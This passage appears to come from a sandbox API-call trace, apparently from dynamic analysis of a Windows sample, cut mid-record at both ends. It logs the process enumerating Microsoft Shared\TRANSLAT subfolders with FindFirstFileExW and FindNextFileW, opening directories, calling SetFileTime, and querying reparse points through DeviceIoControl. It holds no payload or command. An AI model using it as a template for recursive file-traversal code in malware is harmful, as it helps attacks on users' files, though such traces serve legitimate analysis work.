ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0055.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.367] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0055.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.367] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0055.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.367] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0055.367] GetLastError () returned 0x12 [0055.367] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.367] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.368] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.368] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0055.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.369] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05328 [0055.369] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf05328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.369] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05328) returned 1 [0055.369] NtClose (Handle=0x178) returned 0x0 [0055.369] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.369] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0055.369] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.369] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0055.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.369] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.369] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03698 [0055.370] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04be0 [0055.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf037a0 [0055.370] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.370] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0055.370] GetLastError () returned 0x12 [0055.370] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.370] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.370] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.370] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0055.370] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0055.370] GetLastError () returned 0x12 [0055.370] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.370] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.370] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03698) returned 1 [0055.370] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.370] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0055.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.371] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05328 [0055.372] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf05328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05328) returned 1 [0055.372] NtClose (Handle=0x170) returned 0x0 [0055.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.372] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.372] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.372] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0055.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03698 [0055.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04c00 [0055.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf038a8 [0055.373] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.373] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0055.373] GetLastError () returned 0x12 [0055.373] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0055.373] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.373] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.373] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0055.373] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0055.373] GetLastError () returned 0x12 [0055.373] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.373] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.373] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03698) returned 1 [0055.373] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.373] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0055.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.373] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.374] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05328 [0055.374] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf05328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.374] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05328) returned 1 [0055.374] NtClose (Handle=0x178) returned 0x0 [0055.374] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.374] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0055.374] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.374] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0055.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.374] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.374] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03698 [0055.374] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04c20 [0055.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf039b0 [0055.375] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.375] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, 